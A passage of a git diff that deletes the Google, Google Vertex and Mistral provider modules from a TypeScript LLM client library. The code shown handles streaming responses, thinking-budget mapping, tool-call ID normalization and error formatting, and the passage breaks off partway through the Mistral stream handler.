partial: output, - }); - stream.push({ - type: "toolcall_end", - contentIndex: blockIndex(), - toolCall, - partial: output, - }); - } - } - } - - if (candidate?.finishReason) { - output.stopReason = mapStopReason(candidate.finishReason); - if (output.content.some((b) => b.type === "toolCall")) { - output.stopReason = "toolUse"; - } - } - - if (chunk.usageMetadata) { - output.usage = { - input: chunk.usageMetadata.promptTokenCount || 0, - output: - (chunk.usageMetadata.candidatesTokenCount || 0) + - (chunk.usageMetadata.thoughtsTokenCount || 0), - cacheRead: chunk.usageMetadata.cachedContentTokenCount || 0, - cacheWrite: 0, - totalTokens: chunk.usageMetadata.totalTokenCount || 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }; - calculateCost(model, output.usage); - } - } - - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - } - - if (options?.signal?.aborted) { - throw new Error("Request was aborted"); - } - - if (output.stopReason === "aborted" || output.stopReason === "error") { - throw new Error("An unknown error occurred"); - } - - stream.push({ type: "done", reason: output.stopReason, message: output }); - stream.end(); - } catch (error) { - // Remove internal index property used during streaming - for (const block of output.content) { - if ("index" in block) { - delete (block as { index?: number }).index; - } - } - output.stopReason = options?.signal?.aborted ? "aborted" : "error"; - output.errorMessage = - error instanceof Error ? error.message : JSON.stringify(error); - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(); - } - })(); - - return stream; -}; - -export const streamSimpleGoogleVertex: StreamFunction< - "google-vertex", - SimpleStreamOptions -> = ( - model: Model<"google-vertex">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const base = buildBaseOptions(model, options, undefined); - if (!options?.reasoning) { - return streamGoogleVertex(model, context, { - ...base, - thinking: { enabled: false }, - } satisfies GoogleVertexOptions); - } - - if (isAutoReasoning(options.reasoning)) { - const geminiModel = model as unknown as Model<"google-generative-ai">; - if (isGemini3ProModel(geminiModel) || isGemini3FlashModel(geminiModel)) { - return streamGoogleVertex(model, context, { - ...base, - thinking: { - enabled: true, - level: "THINKING_LEVEL_UNSPECIFIED", - }, - } satisfies GoogleVertexOptions); - } - - return streamGoogleVertex(model, context, { - ...base, - thinking: { - enabled: true, - budgetTokens: -1, - }, - } satisfies GoogleVertexOptions); - } - - const effort = clampReasoning( - resolveReasoningLevel(model, options.reasoning), - )!; - const geminiModel = model as unknown as Model<"google-generative-ai">; - - if (isGemini3ProModel(geminiModel) || isGemini3FlashModel(geminiModel)) { - return streamGoogleVertex(model, context, { - ...base, - thinking: { - enabled: true, - level: getGemini3ThinkingLevel(effort, geminiModel), - }, - } satisfies GoogleVertexOptions); - } - - return streamGoogleVertex(model, context, { - ...base, - thinking: { - enabled: true, - budgetTokens: getGoogleBudget( - geminiModel, - effort, - options.thinkingBudgets, - ), - }, - } satisfies GoogleVertexOptions); -}; - -async function createClient( - model: Model<"google-vertex">, - project: string, - location: string, - optionsHeaders?: Record, -): Promise { - const httpOptions: { headers?: Record } = {}; - - if (model.headers || optionsHeaders) { - httpOptions.headers = { ...model.headers, ...optionsHeaders }; - } - - const hasHttpOptions = Object.values(httpOptions).some(Boolean); - const GoogleGenAIClass = await getGoogleVertexClass(); - - return new GoogleGenAIClass({ - vertexai: true, - project, - location, - apiVersion: API_VERSION, - httpOptions: hasHttpOptions ? httpOptions : undefined, - }); -} - -function resolveProject(options?: GoogleVertexOptions): string { - const project = - options?.project || - process.env.GOOGLE_CLOUD_PROJECT || - process.env.GCLOUD_PROJECT; - if (!project) { - throw new Error( - "Vertex AI requires a project ID. Set GOOGLE_CLOUD_PROJECT/GCLOUD_PROJECT or pass project in options.", - ); - } - return project; -} - -function resolveLocation(options?: GoogleVertexOptions): string { - const location = options?.location || process.env.GOOGLE_CLOUD_LOCATION; - if (!location) { - throw new Error( - "Vertex AI requires a location. Set GOOGLE_CLOUD_LOCATION or pass location in options.", - ); - } - return location; -} - -function buildParams( - model: Model<"google-vertex">, - context: Context, - options: GoogleVertexOptions = {}, -): GenerateContentParameters { - const contents = convertMessages(model, context); - - const generationConfig: GenerateContentConfig = {}; - if (options.temperature !== undefined) { - generationConfig.temperature = options.temperature; - } - if (options.maxTokens !== undefined) { - generationConfig.maxOutputTokens = options.maxTokens; - } - - const config: GenerateContentConfig = { - ...(Object.keys(generationConfig).length > 0 && generationConfig), - ...(context.systemPrompt && { - systemInstruction: sanitizeSurrogates(context.systemPrompt), - }), - ...(context.tools && - context.tools.length > 0 && { tools: convertTools(context.tools) }), - }; - - if (context.tools && context.tools.length > 0 && options.toolChoice) { - config.toolConfig = { - functionCallingConfig: { - mode: mapToolChoice(options.toolChoice), - }, - }; - } else { - config.toolConfig = undefined; - } - - if (options.thinking?.enabled && model.reasoning) { - const thinkingConfig: ThinkingConfig = { includeThoughts: true }; - if (options.thinking.level !== undefined) { - // Cast safe: string values match ThinkingLevel enum values exactly - // eslint-disable-next-line @typescript-eslint/no-explicit-any - thinkingConfig.thinkingLevel = THINKING_LEVEL_MAP[ - options.thinking.level - ] as any; - } else if (options.thinking.budgetTokens !== undefined) { - thinkingConfig.thinkingBudget = options.thinking.budgetTokens; - } - config.thinkingConfig = thinkingConfig; - } - - if (options.signal) { - if (options.signal.aborted) { - throw new Error("Request aborted"); - } - config.abortSignal = options.signal; - } - - const params: GenerateContentParameters = { - model: model.id, - contents, - config, - }; - - return params; -} - -type ClampedThinkingLevel = Exclude; - -function isGemini3ProModel(model: Model<"google-generative-ai">): boolean { - return /gemini-3(?:\.\d+)?-pro/.test(model.id.toLowerCase()); -} - -function isGemini3FlashModel(model: Model<"google-generative-ai">): boolean { - return /gemini-3(?:\.\d+)?-flash/.test(model.id.toLowerCase()); -} - -function getGemini3ThinkingLevel( - effort: ClampedThinkingLevel, - model: Model<"google-generative-ai">, -): GoogleThinkingLevel { - if (isGemini3ProModel(model)) { - switch (effort) { - case "minimal": - case "low": - return "LOW"; - case "medium": - case "high": - return "HIGH"; - } - } - switch (effort) { - case "minimal": - return "MINIMAL"; - case "low": - return "LOW"; - case "medium": - return "MEDIUM"; - case "high": - return "HIGH"; - } -} - -function getGoogleBudget( - model: Model<"google-generative-ai">, - effort: ClampedThinkingLevel, - customBudgets?: ThinkingBudgets, -): number { - if (customBudgets?.[effort] !== undefined) { - return customBudgets[effort]!; - } - - if (model.id.includes("2.5-pro")) { - const budgets: Record = { - minimal: 128, - low: 2048, - medium: 8192, - high: 32768, - }; - return budgets[effort]; - } - - if (model.id.includes("2.5-flash")) { - const budgets: Record = { - minimal: 128, - low: 2048, - medium: 8192, - high: 24576, - }; - return budgets[effort]; - } - - return -1; -} diff --git a/packages/pi-ai/src/providers/google.ts b/packages/pi-ai/src/providers/google.ts deleted file mode 100644 index 4a36509dd..000000000 --- a/packages/pi-ai/src/providers/google.ts +++ /dev/null @@ -1,545 +0,0 @@ -// Lazy-loaded: Google GenAI SDK (~186ms) is imported on first use, not at startup. -// This avoids penalizing users who don't use Google models. -import type { - GenerateContentConfig, - GenerateContentParameters, - GoogleGenAI, - ThinkingConfig, -} from "@google/genai"; - -let _GoogleGenAIClass: typeof GoogleGenAI | undefined; -async function getGoogleGenAIClass(): Promise { - if (!_GoogleGenAIClass) { - const mod = await import("@google/genai"); - _GoogleGenAIClass = mod.GoogleGenAI; - } - return _GoogleGenAIClass; -} - -import { getEnvApiKey } from "../env-api-keys.js"; -import { calculateCost } from "../models.js"; -import type { - Api, - AssistantMessage, - Context, - Model, - SimpleStreamOptions, - StreamFunction, - StreamOptions, - TextContent, - ThinkingBudgets, - ThinkingContent, - ThinkingLevel, - ToolCall, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import type { GoogleThinkingLevel } from "./google-gemini-cli.js"; -import { - convertMessages, - convertTools, - isThinkingPart, - mapStopReason, - mapToolChoice, - retainThoughtSignature, -} from "./google-shared.js"; -import { - buildBaseOptions, - clampReasoning, - isAutoReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; - -export interface GoogleOptions extends StreamOptions { - toolChoice?: "auto" | "none" | "any"; - thinking?: { - enabled: boolean; - budgetTokens?: number; // -1 for dynamic, 0 to disable - level?: GoogleThinkingLevel; - }; -} - -// Counter for generating unique tool call IDs -let toolCallCounter = 0; - -export const streamGoogle: StreamFunction< - "google-generative-ai", - GoogleOptions -> = ( - model: Model<"google-generative-ai">, - context: Context, - options?: GoogleOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const output: AssistantMessage = { - role: "assistant", - content: [], - api: "google-generative-ai" as Api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; - - try { - const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; - const client = await createClient(model, apiKey, options?.headers); - let params = buildParams(model, context, options); - const nextParams = await options?.onPayload?.(params, model); - if (nextParams !== undefined) { - params = nextParams as GenerateContentParameters; - } - const googleStream = await client.models.generateContentStream(params); - - stream.push({ type: "start", partial: output }); - let currentBlock: TextContent | ThinkingContent | null = null; - const blocks = output.content; - const blockIndex = () => blocks.length - 1; - for await (const chunk of googleStream) { - const candidate = chunk.candidates?.[0]; - if (candidate?.content?.parts) { - for (const part of candidate.content.parts) { - if (part.text !== undefined) { - const isThinking = isThinkingPart(part); - if ( - !currentBlock || - (isThinking && currentBlock.type !== "thinking") || - (!isThinking && currentBlock.type !== "text") - ) { - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blocks.length - 1, - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - } - if (isThinking) { - currentBlock = { - type: "thinking", - thinking: "", - thinkingSignature: undefined, - }; - output.content.push(currentBlock); - stream.push({ - type: "thinking_start", - contentIndex: blockIndex(), - partial: output, - }); - } else { - currentBlock = { type: "text", text: "" }; - output.content.push(currentBlock); - stream.push({ - type: "text_start", - contentIndex: blockIndex(), - partial: output, - }); - } - } - if (currentBlock.type === "thinking") { - currentBlock.thinking += part.text; - currentBlock.thinkingSignature = retainThoughtSignature( - currentBlock.thinkingSignature, - part.thoughtSignature, - ); - stream.push({ - type: "thinking_delta", - contentIndex: blockIndex(), - delta: part.text, - partial: output, - }); - } else { - currentBlock.text += part.text; - currentBlock.textSignature = retainThoughtSignature( - currentBlock.textSignature, - part.thoughtSignature, - ); - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: part.text, - partial: output, - }); - } - } - - if (part.functionCall) { - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - currentBlock = null; - } - - // Generate unique ID if not provided or if it's a duplicate - const providedId = part.functionCall.id; - const needsNewId = - !providedId || - output.content.some( - (b) => b.type === "toolCall" && b.id === providedId, - ); - const toolCallId = needsNewId - ? `${part.functionCall.name}_${Date.now()}_${++toolCallCounter}` - : providedId; - - const toolCall: ToolCall = { - type: "toolCall", - id: toolCallId, - name: part.functionCall.name || "", - arguments: - (part.functionCall.args as Record) ?? {}, - ...(part.thoughtSignature && { - thoughtSignature: part.thoughtSignature, - }), - }; - - output.content.push(toolCall); - stream.push({ - type: "toolcall_start", - contentIndex: blockIndex(), - partial: output, - }); - stream.push({ - type: "toolcall_delta", - contentIndex: blockIndex(), - delta: JSON.stringify(toolCall.arguments), - partial: output, - }); - stream.push({ - type: "toolcall_end", - contentIndex: blockIndex(), - toolCall, - partial: output, - }); - } - } - } - - if (candidate?.finishReason) { - output.stopReason = mapStopReason(candidate.finishReason); - if (output.content.some((b) => b.type === "toolCall")) { - output.stopReason = "toolUse"; - } - } - - if (chunk.usageMetadata) { - output.usage = { - input: chunk.usageMetadata.promptTokenCount || 0, - output: - (chunk.usageMetadata.candidatesTokenCount || 0) + - (chunk.usageMetadata.thoughtsTokenCount || 0), - cacheRead: chunk.usageMetadata.cachedContentTokenCount || 0, - cacheWrite: 0, - totalTokens: chunk.usageMetadata.totalTokenCount || 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }; - calculateCost(model, output.usage); - } - } - - if (currentBlock) { - if (currentBlock.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - } else { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - } - } - - if (options?.signal?.aborted) { - throw new Error("Request was aborted"); - } - - if (output.stopReason === "aborted" || output.stopReason === "error") { - throw new Error("An unknown error occurred"); - } - - stream.push({ type: "done", reason: output.stopReason, message: output }); - stream.end(); - } catch (error) { - // Remove internal index property used during streaming - for (const block of output.content) { - if ("index" in block) { - delete (block as { index?: number }).index; - } - } - output.stopReason = options?.signal?.aborted ? "aborted" : "error"; - output.errorMessage = - error instanceof Error ? error.message : JSON.stringify(error); - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(); - } - })(); - - return stream; -}; - -export const streamSimpleGoogle: StreamFunction< - "google-generative-ai", - SimpleStreamOptions -> = ( - model: Model<"google-generative-ai">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error(`No API key for provider: ${model.provider}`); - } - - const base = buildBaseOptions(model, options, apiKey); - if (!options?.reasoning) { - return streamGoogle(model, context, { - ...base, - thinking: { enabled: false }, - } satisfies GoogleOptions); - } - - if (isAutoReasoning(options.reasoning)) { - const googleModel = model as Model<"google-generative-ai">; - if (isGemini3ProModel(googleModel) || isGemini3FlashModel(googleModel)) { - return streamGoogle(model, context, { - ...base, - thinking: { - enabled: true, - level: "THINKING_LEVEL_UNSPECIFIED", - }, - } satisfies GoogleOptions); - } - - return streamGoogle(model, context, { - ...base, - thinking: { - enabled: true, - budgetTokens: -1, - }, - } satisfies GoogleOptions); - } - - const effort = clampReasoning( - resolveReasoningLevel(model, options.reasoning), - )!; - const googleModel = model as Model<"google-generative-ai">; - - if (isGemini3ProModel(googleModel) || isGemini3FlashModel(googleModel)) { - return streamGoogle(model, context, { - ...base, - thinking: { - enabled: true, - level: getGemini3ThinkingLevel(effort, googleModel), - }, - } satisfies GoogleOptions); - } - - return streamGoogle(model, context, { - ...base, - thinking: { - enabled: true, - budgetTokens: getGoogleBudget( - googleModel, - effort, - options.thinkingBudgets, - ), - }, - } satisfies GoogleOptions); -}; - -async function createClient( - model: Model<"google-generative-ai">, - apiKey?: string, - optionsHeaders?: Record, -): Promise { - const httpOptions: { - baseUrl?: string; - apiVersion?: string; - headers?: Record; - } = {}; - if (model.baseUrl) { - httpOptions.baseUrl = model.baseUrl; - httpOptions.apiVersion = ""; // baseUrl already includes version path, don't append - } - if (model.headers || optionsHeaders) { - httpOptions.headers = { ...model.headers, ...optionsHeaders }; - } - - const GoogleGenAIClass = await getGoogleGenAIClass(); - return new GoogleGenAIClass({ - apiKey, - httpOptions: Object.keys(httpOptions).length > 0 ? httpOptions : undefined, - }); -} - -function buildParams( - model: Model<"google-generative-ai">, - context: Context, - options: GoogleOptions = {}, -): GenerateContentParameters { - const contents = convertMessages(model, context); - - const generationConfig: GenerateContentConfig = {}; - if (options.temperature !== undefined) { - generationConfig.temperature = options.temperature; - } - if (options.maxTokens !== undefined) { - generationConfig.maxOutputTokens = options.maxTokens; - } - - const config: GenerateContentConfig = { - ...(Object.keys(generationConfig).length > 0 && generationConfig), - ...(context.systemPrompt && { - systemInstruction: sanitizeSurrogates(context.systemPrompt), - }), - ...(context.tools && - context.tools.length > 0 && { tools: convertTools(context.tools) }), - }; - - if (context.tools && context.tools.length > 0 && options.toolChoice) { - config.toolConfig = { - functionCallingConfig: { - mode: mapToolChoice(options.toolChoice), - }, - }; - } else { - config.toolConfig = undefined; - } - - if (options.thinking?.enabled && model.reasoning) { - const thinkingConfig: ThinkingConfig = { includeThoughts: true }; - if (options.thinking.level !== undefined) { - // Cast to any since our GoogleThinkingLevel mirrors Google's ThinkingLevel enum values - thinkingConfig.thinkingLevel = options.thinking.level as any; - } else if (options.thinking.budgetTokens !== undefined) { - thinkingConfig.thinkingBudget = options.thinking.budgetTokens; - } - config.thinkingConfig = thinkingConfig; - } - - if (options.signal) { - if (options.signal.aborted) { - throw new Error("Request aborted"); - } - config.abortSignal = options.signal; - } - - const params: GenerateContentParameters = { - model: model.id, - contents, - config, - }; - - return params; -} - -type ClampedThinkingLevel = Exclude; - -function isGemini3ProModel(model: Model<"google-generative-ai">): boolean { - return /gemini-3(?:\.\d+)?-pro/.test(model.id.toLowerCase()); -} - -function isGemini3FlashModel(model: Model<"google-generative-ai">): boolean { - return /gemini-3(?:\.\d+)?-flash/.test(model.id.toLowerCase()); -} - -function getGemini3ThinkingLevel( - effort: ClampedThinkingLevel, - model: Model<"google-generative-ai">, -): GoogleThinkingLevel { - if (isGemini3ProModel(model)) { - switch (effort) { - case "minimal": - case "low": - return "LOW"; - case "medium": - case "high": - return "HIGH"; - } - } - switch (effort) { - case "minimal": - return "MINIMAL"; - case "low": - return "LOW"; - case "medium": - return "MEDIUM"; - case "high": - return "HIGH"; - } -} - -function getGoogleBudget( - model: Model<"google-generative-ai">, - effort: ClampedThinkingLevel, - customBudgets?: ThinkingBudgets, -): number { - if (customBudgets?.[effort] !== undefined) { - return customBudgets[effort]!; - } - - if (model.id.includes("2.5-pro")) { - const budgets: Record = { - minimal: 128, - low: 2048, - medium: 8192, - high: 32768, - }; - return budgets[effort]; - } - - if (model.id.includes("2.5-flash")) { - const budgets: Record = { - minimal: 128, - low: 2048, - medium: 8192, - high: 24576, - }; - return budgets[effort]; - } - - return -1; -} diff --git a/packages/pi-ai/src/providers/mistral.ts b/packages/pi-ai/src/providers/mistral.ts deleted file mode 100644 index 2c4045978..000000000 --- a/packages/pi-ai/src/providers/mistral.ts +++ /dev/null @@ -1,762 +0,0 @@ -// Lazy-loaded: Mistral SDK (~369ms) is imported on first use, not at startup. -// This avoids penalizing users who don't use Mistral models. -import type { Mistral } from "@mistralai/mistralai"; -import type { RequestOptions } from "@mistralai/mistralai/lib/sdks.js"; -import type { - ChatCompletionStreamRequest, - ChatCompletionStreamRequestMessage, - CompletionEvent, - ContentChunk, - FunctionTool, -} from "@mistralai/mistralai/models/components/index.js"; - -let _MistralClass: typeof Mistral | undefined; -async function getMistralClass(): Promise { - if (!_MistralClass) { - const mod = await import("@mistralai/mistralai"); - _MistralClass = mod.Mistral; - } - return _MistralClass; -} - -import { getEnvApiKey } from "../env-api-keys.js"; -import { calculateCost } from "../models.js"; -import type { - AssistantMessage, - Context, - Message, - Model, - SimpleStreamOptions, - StopReason, - StreamFunction, - StreamOptions, - TextContent, - ThinkingContent, - Tool, - ToolCall, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { shortHash } from "../utils/hash.js"; -import { parseStreamingJson } from "../utils/json-parse.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import { - buildBaseOptions, - clampReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; -import { transformMessagesWithReport } from "./transform-messages.js"; - -const MISTRAL_TOOL_CALL_ID_LENGTH = 9; -const MAX_MISTRAL_ERROR_BODY_CHARS = 4000; - -/** - * Provider-specific options for the Mistral API. - */ -export interface MistralOptions extends StreamOptions { - toolChoice?: - | "auto" - | "none" - | "any" - | "required" - | { type: "function"; function: { name: string } }; - promptMode?: "reasoning"; -} - -/** - * Stream responses from Mistral using `chat.stream`. - */ -export const streamMistral: StreamFunction< - "mistral-conversations", - MistralOptions -> = ( - model: Model<"mistral-conversations">, - context: Context, - options?: MistralOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const output = createOutput(model); - - try { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error(`No API key for provider: ${model.provider}`); - } - - // Intentionally per-request: avoids shared SDK mutable state across concurrent consumers. - const MistralSDK = await getMistralClass(); - const mistral = new MistralSDK({ - apiKey, - serverURL: model.baseUrl, - }); - - const normalizeMistralToolCallId = createMistralToolCallIdNormalizer(); - const transformedMessages = transformMessagesWithReport( - context.messages, - model, - (id) => normalizeMistralToolCallId(id), - "mistral-conversations", - ); - - let payload = buildChatPayload( - model, - context, - transformedMessages, - options, - ); - const nextPayload = await options?.onPayload?.(payload, model); - if (nextPayload !== undefined) { - payload = nextPayload as ChatCompletionStreamRequest; - } - const mistralStream = await mistral.chat.stream( - payload, - buildRequestOptions(model, options), - ); - stream.push({ type: "start", partial: output }); - await consumeChatStream(model, output, stream, mistralStream); - - if (options?.signal?.aborted) { - throw new Error("Request was aborted"); - } - - if (output.stopReason === "aborted" || output.stopReason === "error") { - throw new Error("An unknown error occurred"); - } - - stream.push({ type: "done", reason: output.stopReason, message: output }); - stream.end(); - } catch (error) { - output.stopReason = options?.signal?.aborted ? "aborted" : "error"; - output.errorMessage = formatMistralError(error); - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(); - } - })(); - - return stream; -}; - -/** - * Maps provider-agnostic `SimpleStreamOptions` to Mistral options. - */ -export const streamSimpleMistral: StreamFunction< - "mistral-conversations", - SimpleStreamOptions -> = ( - model: Model<"mistral-conversations">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error(`No API key for provider: ${model.provider}`); - } - - const base = buildBaseOptions(model, options, apiKey); - const reasoning = clampReasoning( - resolveReasoningLevel(model, options?.reasoning), - ); - - return streamMistral(model, context, { - ...base, - promptMode: shouldUseMistralReasoningPromptMode(model, reasoning) - ? "reasoning" - : undefined, - } satisfies MistralOptions); -}; - -export function shouldUseMistralReasoningPromptMode( - model: Model<"mistral-conversations">, - reasoning?: string | null, -): boolean { - if (!model.reasoning || !reasoning) return false; - const id = model.id.toLowerCase(); - return id.startsWith("magistral"); -} - -function createOutput(model: Model<"mistral-conversations">): AssistantMessage { - return { - role: "assistant", - content: [], - api: model.api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; -} - -function createMistralToolCallIdNormalizer(): (id: string) => string { - const idMap = new Map(); - const reverseMap = new Map(); - - return (id: string): string => { - const existing = idMap.get(id); - if (existing) return existing; - - let attempt = 0; - while (true) { - const candidate = deriveMistralToolCallId(id, attempt); - const owner = reverseMap.get(candidate); - if (!owner || owner === id) { - idMap.set(id, candidate); - reverseMap.set(candidate, id); - return candidate; - } - attempt++; - } - }; -} - -function deriveMistralToolCallId(id: string, attempt: number): string { - const normalized = id.replace(/[^a-zA-Z0-9]/g, ""); - if (attempt === 0 && normalized.length === MISTRAL_TOOL_CALL_ID_LENGTH) - return normalized; - const seedBase = normalized || id; - const seed = attempt === 0 ? seedBase : `${seedBase}:${attempt}`; - return shortHash(seed) - .replace(/[^a-zA-Z0-9]/g, "") - .slice(0, MISTRAL_TOOL_CALL_ID_LENGTH); -} - -function formatMistralError(error: unknown): string { - if (error instanceof Error) { - const sdkError = error as Error & { statusCode?: unknown; body?: unknown }; - const statusCode = - typeof sdkError.statusCode === "number" ? sdkError.statusCode : undefined; - const bodyText = - typeof sdkError.body === "string" ? sdkError.body.trim() : undefined; - if (statusCode !== undefined && bodyText) { - return `Mistral API error (${statusCode}): ${truncateErrorText(bodyText, MAX_MISTRAL_ERROR_BODY_CHARS)}`; - } - if (statusCode !== undefined) - return `Mistral API error (${statusCode}): ${error.message}`; - return error.message; - } - return safeJsonStringify(error); -} - -function truncateErrorText(text: string, maxChars: number): string { - if (text.length <= maxChars) return text; - return `${text.slice(0, maxChars)}... [truncated ${text.length - maxChars} chars]`; -} - -function safeJsonStringify(value: unknown): string { - try { - const serialized = JSON.stringify(value); - return serialized === undefined ? String(value) : serialized; - } catch { - return String(value); - } -} - -function buildRequestOptions( - model: Model<"mistral-conversations">, - options?: MistralOptions, -): RequestOptions { - const requestOptions: RequestOptions = {}; - if (options?.signal) requestOptions.signal = options.signal; - requestOptions.retries = { strategy: "none" }; - - const headers: Record = {}; - if (model.headers) Object.assign(headers, model.headers); - if (options?.headers) Object.assign(headers, options.headers); - - // Mistral infrastructure uses `x-affinity` for KV-cache reuse (prefix caching). - // Respect explicit caller-provided header values. - if (options?.sessionId && !headers["x-affinity"]) { - headers["x-affinity"] = options.sessionId; - } - - if (Object.keys(headers).length > 0) { - requestOptions.headers = headers; - } - - return requestOptions; -} - -function buildChatPayload( - model: Model<"mistral-conversations">, - context: Context, - messages: Message[], - options?: MistralOptions, -): ChatCompletionStreamRequest { - const payload: ChatCompletionStreamRequest = { - model: model.id, - stream: true, - messages: toChatMessages(messages, model.input.includes("image")), - }; - - if (context.tools?.length) payload.tools = toFunctionTools(context.tools); - if (options?.temperature !== undefined) - payload.temperature = options.temperature; - if (options?.maxTokens !== undefined) payload.maxTokens = options.maxTokens; - if (options?.toolChoice) - payload.toolChoice = mapToolChoice(options.toolChoice); - if (options?.promptMode) payload.promptMode = options.promptMode as any; - - if (context.systemPrompt) { - payload.messages.unshift({ - role: "system", - content: sanitizeSurrogates(context.systemPrompt), - }); - } - - return payload; -} - -async function consumeChatStream( - model: Model<"mistral-conversations">, - output: AssistantMessage, - stream: AssistantMessageEventStream, - mistralStream: AsyncIterable, -): Promise { - let currentBlock: TextContent | ThinkingContent | null = null; - const blocks = output.content; - const blockIndex = () => blocks.length - 1; - const toolBlocksByKey = new Map(); - - const finishCurrentBlock = (block?: typeof currentBlock) => { - if (!block) return; - if (block.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: block.text, - partial: output, - }); - return; - } - if (block.type === "thinking") { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: block.thinking, - partial: output, - }); - } - }; - - for await (const event of mistralStream) { - const chunk = event.data; - - if (chunk.usage) { - output.usage.input = chunk.usage.promptTokens || 0; - output.usage.output = chunk.usage.completionTokens || 0; - output.usage.cacheRead = 0; - output.usage.cacheWrite = 0; - output.usage.totalTokens = - chunk.usage.totalTokens || output.usage.input + output.usage.output; - calculateCost(model, output.usage); - } - - const choice = chunk.choices[0]; - if (!choice) continue; - - if (choice.finishReason) { - output.stopReason = mapChatStopReason(choice.finishReason); - } - - const delta = choice.delta; - if (delta.content !== null && delta.content !== undefined) { - const contentItems = - typeof delta.content === "string" ? [delta.content] : delta.content; - for (const item of contentItems) { - if (typeof item === "string") { - const textDelta = sanitizeSurrogates(item); - if (!currentBlock || currentBlock.type !== "text") { - finishCurrentBlock(currentBlock); - currentBlock = { type: "text", text: "" }; - output.content.push(currentBlock); - stream.push({ - type: "text_start", - contentIndex: blockIndex(), - partial: output, - }); - } - currentBlock.text += textDelta; - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: textDelta, - partial: output, - }); - continue; - } - - if (item.type === "thinking") { - const deltaText = item.thinking - .map((part) => ("text" in part ? part.text : "")) - .filter((text) => text.length > 0) - .join(""); - const thinkingDelta = sanitizeSurrogates(deltaText); - if (!thinkingDelta) continue; - if (!currentBlock || currentBlock.type !== "thinking") { - finishCurrentBlock(currentBlock); - currentBlock = { type: "thinking", thinking: "" }; - output.content.push(currentBlock); - stream.push({ - type: "thinking_start", - contentIndex: blockIndex(), - partial: output, - }); - } - currentBlock.thinking += thinkingDelta; - stream.push({ - type: "thinking_delta", - contentIndex: blockIndex(), - delta: thinkingDelta, - partial: output, - }); - continue; - } - - if (item.type === "text") { - const textDelta = sanitizeSurrogates(item.text); - if (!currentBlock || currentBlock.type !== "text") { - finishCurrentBlock(currentBlock); - currentBlock = { type: "text", text: "" }; - output.content.push(currentBlock); - stream.push({ - type: "text_start", - contentIndex: blockIndex(), - partial: output, - }); - } - currentBlock.text += textDelta; - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: textDelta, - partial: output, - }); - } - } - } - - const toolCalls = delta.toolCalls || []; - for (const toolCall of toolCalls) { - if (currentBlock) { - finishCurrentBlock(currentBlock); - currentBlock = null; - } - const callId = - toolCall.id && toolCall.id !== "null" - ? toolCall.id - : deriveMistralToolCallId(`toolcall:${toolCall.index ?? 0}`, 0); - const key = `${callId}:${toolCall.index || 0}`; - const existingIndex = toolBlocksByKey.get(key); - let block: (ToolCall & { partialArgs?: string }) | undefined; - - if (existingIndex !== undefined) { - const existing = output.content[existingIndex]; - if (existing?.type === "toolCall") { - block = existing as ToolCall & { partialArgs?: string }; - } - } - - if (!block) { - block = { - type: "toolCall", - id: callId, - name: toolCall.function.name, - arguments: {}, - partialArgs: "", - }; - output.content.push(block); - toolBlocksByKey.set(key, output.content.length - 1); - stream.push({ - type: "toolcall_start", - contentIndex: output.content.length - 1, - partial: output, - }); - } - - const argsDelta = - typeof toolCall.function.arguments === "string" - ? toolCall.function.arguments - : JSON.stringify(toolCall.function.arguments || {}); - block.partialArgs = (block.partialArgs || "") + argsDelta; - block.arguments = parseStreamingJson>( - block.partialArgs, - ); - 